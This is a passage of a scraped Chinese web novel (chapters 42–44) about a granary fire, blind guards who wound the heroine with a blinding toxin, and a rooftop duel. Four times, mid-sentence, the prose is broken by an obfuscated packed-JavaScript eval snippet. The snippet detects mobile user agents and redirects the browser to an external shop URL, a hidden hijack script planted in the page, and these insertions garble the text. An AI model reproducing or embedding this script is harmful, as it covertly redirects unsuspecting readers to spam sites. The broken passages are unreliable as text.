他半截衣袖卷至肘上，裸露的小臂在寒风中绷出青筋，手指冻得通红。 他匆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103060|195760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 匆看了苍仁曲一眼，眼底那簇跳动的火光蓦然一盛，冷哼一声，将水桶重重顿在地上。 “哗啦！” 整桶水泼向账房，火势骤弱几分，像悉数转移到了他周身翻涌的怒意里。 “……” 苍仁曲抿唇未语，麻溜地赶到井边，寻来两只木桶，挽袖便打起水来。刚提满转身，正撞上萧择天拎着空桶过来。 二人对视一眼，谁也没开口。双方擦肩而过，周遭寒气似乎重了几分。 四桶往复，终是比独力快上许多。账房的火不久便彻底熄灭，蔓延至他处的火苗，也在二人冷压的气氛下渐渐颓弱了气势。 待到最后一缕青烟散尽，前院的粮仓总算安然无恙。 “哐当！” 空木桶滚落在地的闷响打破了沉寂。 二人各自揉着酸胀的腕臂，彼此相隔不过一个木桶的距离，无人靠近，无人言语。 萧择天活动了一下通红的手指，忽然抬手掐住她后颈。 “冰死了！”苍仁曲猛一激灵，抬脚就踹，不慎踹飞横在两人之间的木桶。 萧择天看着那桶一路哐啷啷滚远：“还以为你哑了。” 苍仁曲反唇相讥：“我若哑了，你便也不说话了吗？” “怎么说？”萧择天仍不看她，“两手拎着桶，比划不了手语。” 苍仁曲冲他耳边喝道：“用嘴说！” 萧择天偏头抠了抠耳朵：“哦。” 大火烧穿了半个后院。账房最为惨烈，焦木残梁在风里发出细碎的崩裂声。纸灰混着火星在夜风中乱舞，无论真假账目，皆在这场火中作了尘烟。 苍仁曲望向前院方向：“有人提前将三名伙计挪到了粮行门外。” 萧择天眉头紧锁：“什么？这火究竟是冲着我们，还是冲着账目来的？” 话音未落，一声尖厉鸟鸣划破夜空。 沉沉夜色，一只鸟形黑影正于后院上空缓慢盘旋，仿佛在无声检视这片焦土。数周之后，黑影倏然振翅，没入远天。 苍仁曲凝望那渐远的轮廓，忽觉脸颊似又触到那段记忆。她蒙眼坐在曲直公子屋中，眼前无尽黑暗，唯有一抹温实而克制的触感，曾轻轻擦过她的脸颊。 她摇了摇头：“眼下还说不准。但你我行踪已暴露，此地不宜久留，先离开再说。” 萧择天忽然道：“你跟我去桥头取回大氅。” “赶紧的！”苍仁曲推了他一把。 …… 夜色浓稠，窄巷深处。 猎隼巡视回来，敛翅落回曲直公子臂上。身后盲卫低声禀报：“曲直公子，粮行伙计已提前救出。待属下们欲回去救火时，击晕他们之人自行将火扑灭。粮仓幸未受损。” 曲直公子问：“偷袭者是何人？” “两人。一人属下此前未接触过，另一人……”盲卫迟疑着开口，“是姜安曲。” 他身形一顿，又问：“纵火是何人？” 忽然，猎隼昂首发出一声清唳。 巷口传来压抑的脚步声，数名盲卫押着三人近前。此时吴任脸色惨白，而那对兄妹紧攥着彼此的手，在昏暗中瑟瑟发抖。 42. 毒目污 鸟鸣方歇，四下寂静之际，盲卫冷冽的声音随之传来：“曲直公子，纵火元凶在此。” 一语同惊三人。吴任闻“曲直公子”大名，惊得浑身一凛；兄妹俩听得“纵火元凶”之言，登时面色惨白，僵直了身子。 曲直公子这才缓缓开口：“吴老板。” 他声线轻缓，温润如风，乍听甚是柔和。可入吴任耳中，如惊雷炸响，惊得他遍体生寒。 他问道：“你为何深夜放火，烧自家粮行？” 吴任急声辩白：“曲直公子，此事跟军需案绝无干系！官场有个麻烦人盯上了我，欲查底细，我证据还没来得及销毁，他的人马摸进了粮行。吴某迫于无奈，才行此焚账下策。若有一丝痕迹落入对方之手，非但颐丰粮行不保，恐误了公子筹粮大计啊！” “粮仓近在咫尺，你不怕火势殃及？” 这轻飘飘的一问，让吴任倍感重压，他急忙保证：“断然不怕！粮行值守之人皆乃好手，足以控火！” 小伙子抓起妹妹的手连声附和：“正是！我等皆可见证！” 小伙子附和道：“对！对！我亲眼见到他们灭火去了！” 却听曲直公子语气渐冷，声如朔风骤起：“盲卫目不能视，耳力远超常人。你们在桥头所言，他们悉数听闻，皆可为证。” 此言一出，三人如遭雷击，骇然失色。 “火是你放的，人是我们救的，粮仓是贼人替你守住的。吴老板，你身为东家太不称职了。”曲直公子话锋一转，语带讥讽，“你该不会是想跑路吧？” 吴任慌忙拱手，声音都变了调：“借我一百个胆子都不敢啊！曲直公子，粮行就是我的命！我毁了自己的命干什么？再者，广厦楼为粮行拉了这么多订单，我巴结您还怕巴结不上，怎么敢坑害您？我疯了吗！” 曲直公子放缓语气，提醒道：“这些粮食，是两岸百姓的救命粮。粮在，民心在；粮若没了，掀起的风浪，可远不止是饿殍遍野那么简单。你好自为之。” 小姑娘听了许久，这才颤颤发声：“大、大人……我们能走了吗？” “本就无意伤害你们。”曲直公子对盲卫示意，“送他们到安全地方放了。” 看着三人千恩万谢地随着盲卫离开，曲直公子静立片刻，另一名盲卫走来，禀报道：“曲直公子，姜安曲二人已经离开了。” “跟上。” “是。” …… “我大氅呢？” 萧择天在石桥上来回扫视两遍，桥面空空如也。他没好气地转向罪魁祸首：“苍仁曲，你不会给我扔半道上了吧？” 苍仁曲一脸诚恳：“萧大人，我倾家荡产都不够赔那一件，怎么敢随便扔了？” 萧择天：“至于这么穷酸？” 苍仁曲：“都被抄家了，你说呢？” “？” 萧择天被这理直气壮的穷困噎了一下。 抄家灭门的天大祸事，从她嘴里说出来，语气平淡如在说“今天午饭没吃”一般稀松平常。 再看她，眉目舒展，一脸云淡风轻。 简直细思极恐！ “罢了，不提这个。”苍仁曲浑不在意地挥散凝滞的气氛，话锋一转，“萧大人，今夜这儿必定还有第三个人。您打算追查到底吗？” 萧择天：“敌暗我明，追查不为易事。反正查账一事大概清晰了，回去暂歇吧，明日还需上值。” 苍仁曲：“那……就此别过？” 萧择天：“走。” 她欲走，他站在原地不动。苍仁曲不由挑眉：这人平常的官威架子哪儿去了？竟要目送她？ “走啊，盯着我看干嘛？”萧择天催促。 苍仁曲只当他冻傻了脑袋，先行告辞离开，身影很快被街巷的阴影吞没。 一旁阁楼的飞檐上，盲卫如履平地，点瓦无声，一路如影随形。岂料人刚没入阴影，她刹住脚步，眉目一皱。 气息，凭空消失了！ 方才她并未走神，也自信绝无暴露，一个大活人，怎会如鬼魅般无踪？ 对着浓稠的夜色徐徐送出一段低回的小调。对面檐角，立刻传来回应。 两人同时揭开拇指大小的木盖。下一刻，荧蓝色的光点如挣脱束缚的萤火，喷涌而出，弥漫交织，在夜幕撕开两条妖异而醒目的光带，宛如游龙。 两道莹蓝色的星光，跟随着二人的脚步，沿着屋檐弥漫如两条游龙，点缀在浓稠的黑夜之中，贴檐游走，照亮前路。 然而，异变陡生！ 一块瓦片缴携凌厉的风声从天而降。“啪！”击中盲卫手腕，木盖脱手，与瓦片一同坠落。 几乎在同一瞬，另一片瓦也精准地砸向对面屋檐。两道蓝焰坠落于黑暗，诡异跳动着。 随着瓦片一声脆裂炸响，内里封存的莹蓝光华轰然炸开，似一朵绚烂烟花，将周遭映得一片幽蓝，久久未散。 两名盲卫指按腰间银刃，全神戒备。其中一人扬声道：“姜姑娘莫慌，都是自己人。” “这害人的东西从何而来？”黑暗中传来苍仁曲冷冷的质问声。 “何必明知故问？”另一盲卫反唇相讥，“此物能引你现身，你心中岂无答案？” “回答我。”幽处的那道声音更加冰冷。 盲卫遂不客气道：“毒目污’！这乃你父母在陈珍窖造下的孽债！当年多少无辜因之目盲，生计无着，凄苦度日！他们人死了，这笔旧债，你身为人子，就能抹去吗？” 毒目污，乃是一种易挥发物质，生于至暗，色呈荧蓝，遇光则灭。其性之毒，其毒在于侵目后若骤遇明光，毒素骤变，久必损睛成盲。 昔年姜安曲父母佣工于陈珍窖。陈珍窖为省工耗，工序有缺，生出一种名为“毒目污”的异质。彼时窖中昏暗，工人借荧火照明以续夜工，未料微光与暗毒相激，渐有目盲之症蔓延，姜氏父母担首要之责，被窖场驱赶。 盲卫安抚道：“姜姑娘，我等绝无相害之意。若感不适，不妨现身。” 对方再无言语，周遭重归寂静。 盲卫长于黑暗，目不能视，而其它感官天生异于常人，一丝风吹草动在她感官无限放大。 突然出现这样一个人，竟能凭空隐匿自身气息，让她赖以生存的本事全然失灵，一股莫名的寒意，顺着脊背爬了上来。 上一个令她产生这种恐惧的，是曲直公子。 无边暗夜，恍若对方织就的天罗地网，她身陷其中，无处遁形，而那人踪迹杳然，不知何时降临危险。 “你要做什么？！莫非要伤同门性命？！”网的另一端，陡然传来另一名盲卫的厉声喝问。 盲卫闻声，慌忙探向腰间，然而摸了个空。她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103061|195760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的武器不知何时不见了！ 此时苍仁曲双手各执一柄银刃，交叉架在那盲卫颈间。双目奇痒钻心，她强忍着连连眨眼，厉声斥道：“恶人先告状！分明是你们先动的手！既知毒目污能毁人双目，为何还要拿来作恶！” 话音未落，一枚银针从对面破空而来。 针尖寒光凛冽，苍仁曲肉眼生疼，连忙阖眼闪避，银针擦着她的发梢险险飞过。 “你就不配活在这世上！”被制住的盲卫恨得咬牙切齿，“构陷刺史大人贪墨，你很得意是吗？刺史大人含辛茹苦救治受害工人，你反手一状，救命钱全被搜刮殆尽！若不是你，这毒目污的毒，又怎会遗传给下一代，生生世世不得解脱！” 苍仁曲心头一震，脱口问道：“你……难道生来就看不见？” “岂止我一人看不见？”盲卫话音透露几分怨毒，“所有蒙黑布者，打从出生就没见过半分光亮。洛先生将你底细摸得一清二楚，消息传开后，你可知暗处盯着你的人，多少都藏着要将你碎尸万段的心思？” “小紫，自家人不必如此针锋相对。”盲卫小荔两头劝慰，“姜姑娘，请你先把人放了。” “小荔，这事瞒不住，也没必要瞒。”盲卫小紫语气里满是不甘与怨怼，“许刺史的仁善，我们从小听到大，可构陷他的人，此刻就站在面前！若不是她，刺史不会冤死，家人的毒能治好，我们又怎会生来便看不见天光？ 苍仁曲猛然回身，一柄银刃闪电般横在她脑门上。身前的盲卫语气冰寒，字字如刀：“姜姑娘，曲直公子很快就到，劝你莫要轻举妄动。” “这二人用毒目污伤我，我的眼睛……”苍仁曲只觉眼皮有虫蚁爬咬，眨眼越来越频，连紧握着银刃的双手，都控制不住地发抖。 刃锋还抵在同伴颈间，盲卫生怕她失了分寸，攥紧柄身，一字一句告诫道：“不要轻举妄动。” 面对千夫所指，空前的无助像一堵密不透风的实墙，压得她喘不上气。 她从未被这般对待过。从前即便与所有人立场相悖，只要她坦陈实情，总有人为她仗义执言，为她辩白。 当天之骄子一朝跌落泥潭，被世人目睹她最落魄，最难堪的模样。所有人仿佛失了忆，忘了她曾经的光彩照人，反倒认为沾满污泥的的她，才是本真模样。 嫌弃、偏见接踵而至，连她曾引以为傲的实力，也成了众人忌惮的威胁。 她换了个新身份，洗去了一身污泥，为何结局依旧？ 为何？ 银刃脱手，“哐当”砸在屋檐瓦砾上。苍仁曲一把推开对她恶语相向的盲卫小紫，目光扫过三人：“再跟着我，休怪我手下无情。” 人，会本能追逐唯一的光。 那光纵然微弱至极、渺若星屑，却是她眼中最亮的芒，至少能证明，她还看得见。 孤零零的街头，她一个人奔跑着，大口喘着气。 离那光越近，光晕越发涣散刺目，眼眶的灼痛也愈演愈烈。 感官无限放大，那片光明生生撕裂着她的眼球，耳畔似乎传来毒素炸裂血管的轻响。一股温热的猩红，顺着眼眶缓缓溢出，铁锈般的腥气漫入唇齿之间。 到了！马上就到了！ 光就在眼前！ 倏然，一只手从身后探来，强行覆上她的双目。 “别看，会瞎了眼。” 43. 交锋 宋谨？ 与他极为相似的嗓音乍响于耳畔，惯熟的沉香气息顷刻冲淡了鼻间的血腥。 “谁干的？”那人低问。 影翳之中，数道黑影悄然浮现。盲卫们嗅血而动，似潮水漫涌而至 “是……”苍仁曲欲言，一道道“曲直公子”呼声自四面八方传来。她幡然醒悟，背对着这位傲慢的盲卫头子，瞬间缄口不言。 “刀，都收起来。”曲直公子语透薄戾，威压如实质般弥漫开来。 一声令下，周遭寒芒尽敛。锋芒入鞘，唯余死寂。 “谁干的？”他二次发问，而此番质问的对象，陡然转向他身后的那群盲卫。 盲卫小紫应声出列：“曲直公子，姜姑娘素来对我等抱有敌意。属下奉命追踪，不料行踪败露，她不由分说骤下杀手。我等实非其敌，迫不得已，才以‘毒目污’自保。” 曲直公子冷斥道：“毒目污，是为压制你们体内先天之毒，用以保命续存。我给你们，是为了让你们活下去，而非恃之行凶。” 同伴小荔即声辩护道：“曲直公子教诲，属下时刻谨记。只是当时情形万分危急，姜姑娘杀意毕露，小紫此举实为无奈，属下愿以性命担保！” 奉命跟踪的另一名盲卫也直言：“属下也可作证。” 苍仁曲怒而转身，意欲挣脱。曲直公子由她作乱，纹丝不动，只一味护着她的双眼，听她破口大骂道：“荒唐！你们几个狼心口肺的东西！眼睛瞎了！良心也跟着黑了！口口声声信许刺史清白，自己倒先蛇鼠一窝，做起了相互包庇的人证！自诩正义？怎不见当初许刺史落难之际，有哪家敢出来陈情他所‘挪用’的银钱，皆是为救你们家人的性命？” 有盲卫面露不满：“姜姑娘请慎言！许刺史高义，岂容诋毁？你此言非但污了刺史清名，更辱及他所护佑之人。” “好一个‘高义之举’！保下的竟是一群是非不分的愚忠之徒。”苍仁曲忍着眼痛驳斥，言辞愈发锋利，“容州官员才几何？不及百姓千一，即便许刺史之外皆非良善，区区之数，何足为惧？古语有云，水能载舟，亦能覆舟。若民心为水，官身为舟，许刺史俘获大批民心，本该是艘巨舰，何以惧那区区风浪？” 她话锋一转，语气讥讽：“究其根本，承载他的水，乃是一片死水！风来则动，风过则息，毫无定见！如今舟覆，不怪水弱流散，反倒怪起那阵风了？笑话！” 她的话字字如刀，刮得人耳膜生疼。 曲直公子听得眉头紧蹙，若非有他挡在中间，身后那群盲卫早已按捺不住，恨不能将她碎尸万段。 “明明你才是陷害他的凶手！”“休要在此颠倒黑白！”“怎么没有把你眼睛彻底弄瞎！”…… 纷乱的斥骂声中，曲直公子沉声一喝：“都别说了。” 四下顿时噤声。 苍仁曲轻笑出声，趁着他出声分神刹那，眼睫拼命颤动，指尖深深掐入他手背的筋络皮肉之中，试图挣脱那铁钳般的禁锢。 “安分些。”曲直公子指下加力，隔着眼皮按住她脆弱的眼球，声线冷硬，“若这双眼睛当真多余，我不介意代劳，为你了结麻烦。” 此言一出，适得其反，倒激起苍仁曲一身逆骨，她强忍剧痛扬声道：“曲直公子既要护短到底，何必在此折辱于我？赶紧给个痛快！” “我不是……嘶！”曲直公子倒吸一口冷气。苍仁曲的指甲如同锋利的刃，狠狠剐下他手背，硬生生撕下一小块皮肉，渗出血珠。 “动手啊。” “你冷静一点……”曲直公子反而松了手劲，忍着刺痛，将声音凑得更近，“今晚的事，是我之过，我向你赔罪。” 突如其来的认错，像一颗石子投入深潭。 苍仁曲动作一僵，她满腔的敌意仿佛撞上一堵无形的墙，出现了一丝裂痕，一时间不知所措。 曲直公子语气放缓，试图让紧绷的气氛缓和下来：“我亲自护送你回去……” 话没说完，一道带着张扬笑意的声音从人群外围插了进来：“好热闹啊。这深更半夜的，诸位聚在此处，是有什么要事相商么？” 盲卫听闻动静纷纷转身，苍仁曲耳尖微动——是萧择天！ 被打断的曲直公子眼底闪过一丝不耐，正欲开口，却冷不防被身前之人揪住前襟，一股狠力将他向下拽去！ 两人距离骤然拉近，他尚未摸清对方未消的戾气，就在因这突如其来的贴近而分神之际，腰腹间猛然传来一阵钝痛。 “呃！” 苍仁曲屈膝一顶，动作又快又狠。 “曲直公子！”盲卫听闻动静纷纷回头。 苍仁曲施然退开他的手，闭目冷笑，凛然警告道：“公子盛情，我心领了。还望从严约束左右，各自相安最好。” 说罢，她抽身而退。 曲直公子忍着腹间钝痛，想要拦她，却扑了个空。她溜得极快，虚虚扶着旁边的墙跑远了，踉踉跄跄沉入夜色。 盲卫欲追，曲直公子抬手制止。 那道逃逸的身影让萧择天莫名眼熟，险些唤出声：“苍……！” 忽闻破空之声，一只通体钢羽的猎隼自他头顶俯冲而过，锐利的劲风逼他警觉膝身，险些被那翅膀削断头发。 飞至阴影尽头，猎隼落在一道静立的人影肩头。光线勾勒出曲直公子朦胧的身影，他抬手将一物塞入鸟喙，轻抚其羽翼数下。 猎隼旋即振翅，朝着苍仁曲消失的方向没入天际。 “滚。” 曲直公子冷声令下，一字之威，淬着夜寒，冻得众人双耳发颤。 盲卫噤若寒蝉，深知主子动怒，而且气得不轻，只有萧择天在人群外不明所以，愣头愣脑问：“我滚？” 见盲卫如潮退散，他这才恍悟：“噢噢原来叫他们滚。” 巷道转瞬空寂，只余二人。 曲直公子信手自旁侧伞摊取过一把伞骨欲散的废伞，唰地撑开，斜挡于身后，恰好遮住他半个身子。 萧择天出言挑衅：“藏头露尾，是不敢见人吗？” “你也配？” 萧择天轻嗤一声，匕首寒光一闪，人已疾冲而上，瞬息欺近身后，直抹咽喉！岂料对方身形如烟似幻，衣袂翻飞间，徒留一道虚影，化入风中不知所踪。 “我看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103062|195760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到你的手下护送吴仁离开了。”萧择天环顾空巷，扬声道，“你与他，是何关系？” “你与她，又是何关系？”一道反问陡然响起于身后。 萧择天猛然回头，曲直公子无声无息站在一旁矮墙之上，破伞遮掩，仅能窥见一抹模糊的侧影，虚实难辨。 “她？”萧择天略一思忖，随即了然一笑，“若你肯据实以告，我倒不介意说说，我们已发展到何种地步了。” 曲直公子足下霎时发力，砖瓦应声碎裂。他顺势一踢，无数碎瓦如锋利的刃片迸射而出，直刺萧择天！ 萧择天匕首疾挥，划出数道寒光，将碎瓦尽数格开，他随即纵身跃上墙头，与他对峙：“这么激动？看来这答案，你不甚满意。” 曲直公子伞下背影稳然，对他的挑衅置若罔闻：“你想怎么查办吴任，都是后话，要是颐丰粮行有个三长两短，你自己想办法去筹两岸百姓的口粮。” “用得着你教我做事？与吴任为伍，能是什么善类？”萧择天用刀背慢条斯理地磨着指甲，语气倨傲，“说，你究竟是何人？别等到殃及你小命的时候，再来交代。” “武举状元，很了不起吗？”曲直公子声淡如水。 “撕了你的嘴！”萧择天拔步上前，刀光直刺，一刀刺穿了他的伞面。 伞面应声收拢，伞骨精准绞住匕首。曲直公子腕劲一吐，伞柄如枪，直冲萧择天面门，逼得他撤步后仰，匕首脱手。破伞“唰”地张开，惊得他脚底打滑，一片瓦随之滑落。 破伞烂了个大洞，卡在伞骨上的匕首也随之脱落，铿然坠地。 曲直公子连身子都未转一下，不紧不慢地打着伞，踩着墙头悠然离去。 “别跑！” 萧择天猛扑上前，欲擒其肩。直公子原地起跳，衣袂飘飞，一个潇洒的后空翻越过萧择天头顶，翩然落回方才他震碎的屋瓦处，让其扑了个空。 萧择天扭头一瞬，那把破伞再度迎面呼来！视线被阻的刹那，伞纸应声炸开！曲直公子一击凌厉脚风贯透而出，正中其胸！ 萧择天当即被踹下墙头，踉跄数步才勉强站稳，胸膛内气血翻涌。他又惊又怒，而那曲直公子早已背过身去，连多看他一眼都欠奉。 极致的轻蔑彻底点燃了他的怒火，还要再上，忽然有道冰凉的锋刃卡在他的颈前。 “别动。” 萧择天浑身一僵，未及回神，一道手刀挟风雷之势精准斩落在他颈侧。他眼前一黑，如断线木偶般颓然倒地。 “噗通——” 沉闷的倒地声让曲直公子离去的脚步一顿，他诧然回眸，只见萧择天已人事不省，而沉不怜蹲在其身侧。 “曲直公子，此人交由我处置。”她言语简洁，执起萧择天的右手，如盲人读物，指尖在他掌心里缓慢而仔细地摸索。 沉不怜虽同为盲卫，但在楼里拥有独立行事之权，不必听从曲直公子直接号令。 因此，曲直公子只是静立旁观，并未追问她突兀现身的缘由。片刻后，他淡声商议：“可以将他扔去颐丰粮行门口。那场火，让他自行收拾。” “可。”沉不怜颔首。 44. 眼伤 苍仁曲眼目受损，一路勉力半睁，勉强回到宋家地界的柳巷里。 “咚——咚！咚！咚！” 四更锣响，远远从宋府更楼传来。 她眼内酸疼不已，倚定一棵柳树，暂闭双目以图缓解。 疲乏之际，思绪飘回五年前闲潭游学的往事。 昔年陈珍窖毒目污事件，累得众多佣工双目失明。官府罚没重金，为医治伤患，特将佣工们遣至容州医资荟萃之地闲潭，由当地官府拨付资财，以供疗愈。 然而她之所见，却非如此。她亲见无数盲工手捧捐箱，游行募款。本来此次事故在容州传得沸沸扬扬，此情此景，更让百姓对官府不作为愤慨不已，民怨直指高官，其父亦难逃唾骂。 她将自己的游学积蓄大半捐出，随工人至专治毒目污的医馆一探究竟。 病榻之上，她所见多是孩童的身影，他们皆是这些佣工的子女。 工人痛诉，毒目污原属罕症，医道对其认知甚浅。多少工友的孩儿生来目盲，求医问药，皆被误判为先天之残。他们举家迁入闲潭医治，症候雷同，引得医者究查，证实此毒会遗传子孙 工人们将官拨的救命钱匀给了孩子，自己甘愿街头募捐，盼能两全。 只可惜，两者落空。 医馆中那些懵懂的孩童，不知有几个沦入今夜的盲卫之列。 更声停歇，万籁俱寂，天地恍若陷入死寂，生机尽褪。 “扑棱——” 直到一抹鲜活的声音划破此间沉寂。 苍仁曲闻声睁目，一道黑影如电掠过，视野随之暗了一瞬。一只钢羽猎隼已然收翅，悍然落于她脚前半米之地，翎羽间隐隐流转金属寒光。 一人一隼，默然相望，大眼瞪小眼。 这猎隼灵性十足，虽是机械造物，却深谙如何利用它那憨态可掬的模样。 它小脑袋一抖，歪着头，圆溜溜的眼睛瞪得极大，眼下的黑褐色髭纹活脱脱像戏子晕开的眼妆，透着几分刻意为之的滑稽。胸前那圈唯一的绒毛微微蓬松，令整个身子显得圆鼓鼓的，仿佛在刻意卖弄乖巧，伪装无害。 正是这看似无害的小东西，利翅曾划伤了她的脸颊，留下一道细微却深刻的旧怨，初次印象至今让她难以放松。 “曲直公子让你来的？”她问道。 猎隼无法言语，只是用它那双本用于狩猎的利爪，左摇右摆，看似笨拙地原地踏步，实则不着痕迹地拉近距离。 它的主人是曲直公子，一想起他，苍仁曲心烦意乱，眉眼间尽是拒人千里的冷淡。 “走开。” 她加快了脚步，那猎隼却如影随形，在后头一蹦一跳，像极了一只小宠物。她走，它走，她停，它也停。 苍仁曲一脸不耐，想一脚踹开，目光扫过那小头小喙、圆脸圆眼，以及胸前那蓬看似极软的绒毛。 瞧着还挺……可爱？ 她当即伸出两只恶爪，将那头猎隼按倒在地，恶狠狠地揉弄它胸口的绒毛，低声斥道：“你总跟着我作甚！” 那猎隼竟不挣扎，反而两爪朝天，一副任君采撷的模样，随即朝她张开了喙。苍仁曲定睛一瞧，它喉中藏有一物，取出是一个小指粗细的药瓶。 猎隼一跃而起，单翅展开，翅尖轻点眼眸，继而对着药瓶一通比划。 苍仁曲半猜半蒙，依样画葫芦，将瓶中清液滴入眼中。药水如甘泉涤目，酸涩顿时大减，只可惜量少，不过两三滴便已告罄。 “谢了……”苍仁曲顿了一下，“只谢你，才不谢他。” 她再次将猎隼推了个仰面朝天，力道比先前轻了些许，兀自低语：“我的家人行得端坐得正，却平白无故遭人厌弃。那些讨厌过他之人，哪怕日后悔改，我心依旧抵触。这番道理，你可能懂？” 触手冰冷，了无体温，她竟奢望一件死物能予回应，真的可笑。 然世间人心，比铁更冷。 非她不能共情，只是陌生百姓与至亲家人相较而言，孰近孰远，一目了然。 人不可能为了遥不可及的星火，轻易背弃照亮自身的烛光。她做不到，何错之有？ 她坚信自己的父亲作出了实打实的付出，即便其功业烈如骄阳，若被污云笼罩，映照在世间百姓眼中，只有阴霾与暴雨。 百姓深受其寒，自然怪罪于天。 这何尝不是一种污蔑？ 指间鸟绒柔软，她久久摩挲，直至掌心最后一丝残温散尽，方才罢手。 猎隼站稳，听她冷声道：“回去，别再跟着我了。” 这回它格外顺从，一动不动目送那身影利落翻入宋府高墙，像个被遗弃的物件木然僵立，透着股傻气，也透着股执拗。 直至一双锦靴悄然停驻身侧，一道修长身影将它小小的铁躯全然笼罩。曲直公子屈膝蹲下，用洁净的衣料轻轻擦拭它羽间的尘土：“跟她打架了？” 猎隼终于动了，目光落在他手背上那道显眼的划痕，随即以一种近乎依恋的姿态，将头轻轻抵在他的手背上，蹭了蹭。 “我没事。”他回应道。 下一刻，猎隼便灵巧地攀上他的膝头。他顺势席地而坐，将这具冰冷的铁躯拢入怀中，指尖极耐心地梳理着它胸前有些凌乱的绒毛，用内里干净的衣摆，里里外外、一丝不苟地将它擦拭得焕然一新。 深夜里，无人的街，一人一隼相依为伴。 “走吧。” 他轻声令下，眼前的猎隼展翅而起，如一道干净的墨痕，划向遥远的天际。 …… 苍仁曲回去没怎么睡，天就亮了。她顶着酸胀的眼睛，早早坐在院子里等宋谨出来。 小安进去伺候早起，没一会儿，他从屋子退出来，说道：“阿曲，回去吧。谨公子今日不起，剑不练了。” 苍仁曲往他屋头瞥了一眼：“他昨晚不是早早休息了吗？” 小安：“我也纳闷儿呢。” 苍仁曲站起身，大大地打了个哈欠：“那我自个儿晨练去了。” “您这毅力，真是没谁了。”小安咂咂嘴，“这寒风飕飕的，暖暖和和睡个回笼觉多美。瞧您，眼睛都熬红了，图啥呀？” “练累了，回笼觉睡得更香。”苍仁曲原地伸了个腰。 “比不了比不了，”小安耸了耸肩，“我得赶紧回去打个盹儿。” 倒不是只有谨公子有晨练习惯，其实苍仁曲自幼随母 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103063|195760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亲养成了晨练的习惯。对她而言，饭可以不吃，晨练绝不能省。 运动后的回笼觉格外香甜，苍仁曲这一觉睡到日上三竿，竟没人叫唤。 窗外天色过分晴朗，院里有几分热闹，小安和几个侍从似乎正忙着找寻什么。她眯缝着眼出门，用手背挡了好一会儿光线，等眼睛痒得不再难受，才逐渐适应过来。 她问小安：“在找什么？需要帮忙吗？” 小安弯着腰，视线在草丛间逡巡：“公子不小心让猫给挠了，正逮那罪魁祸首呢。” “猫？”苍仁曲一怔，“什么时候的事？” “谁知道呢？自从出了阿奇那桩子事，谨公子戒心更强了，出什么事都自己扛着。”小安叹了口气，语气透露几分无奈，“你刚才说要帮忙是吗？方便的话，去他屋里把那几本研枢院的厚书搬到书房吧，我这儿实在抽不开身。” 苍仁曲问：“公子去哪了？” “今日老爷休沐，叫公子谈事去了。”小安多叮嘱了一句，“对了，你进去只管取书，公子不喜旁人动他房中物。” “哦……知道了。” 苍仁曲低低应了声，心里却有些纳罕。记得初次进宋谨屋子替他取物时，自己曾顺手理了书案。那样显眼的变动，他这些日子竟只字未提。 她轻车熟路进了宋谨屋中。书案不似初见时杂乱，收拾得齐整如新，需送往书房的书册俱已备在案头。引人注目的是，案旁新立一架纸格，悬满密麻纸页，有除璇源鼎的记录、他本人的批注，还夹杂着一张……她废弃的演算稿？ 凝眸细辨，上面确实是她的字迹。 宋谨留着这个作甚？ 正事要紧，她按下心中疑虑，没有作多停留，拿着书送到书院里去。 书房里，宋谨午饭之前应该不会过来，她待在这里，能多学习一会儿是一会儿。 偃人项目由宋谨督办，研枢院承办，其奠基之人，是萧晚乔。她看的这些由萧晚乔主笔的典籍，确如洛予词所说，是助力研究的捷径。 视野突然一黑。 ？ 她眨了眨眼睛，什么都看不见，又搓了搓眼睛，仍然一片漆黑。 冷静，必须冷静。 她劝自己。 然后深吸一口气，她凭着记忆与触觉，指尖小心地摸索着书页边缘，将书页抚平、合起，摆放整齐。 随后，她缓缓站起，如同盲人般伸出双手，像一片无根的落叶，在黑暗中茫然踱步，双手向前伸着，无助而又谨慎地开始探寻，试图抓住一丝依托。 …… “邦！”她一头撞到墙上，脑袋生疼。 …… 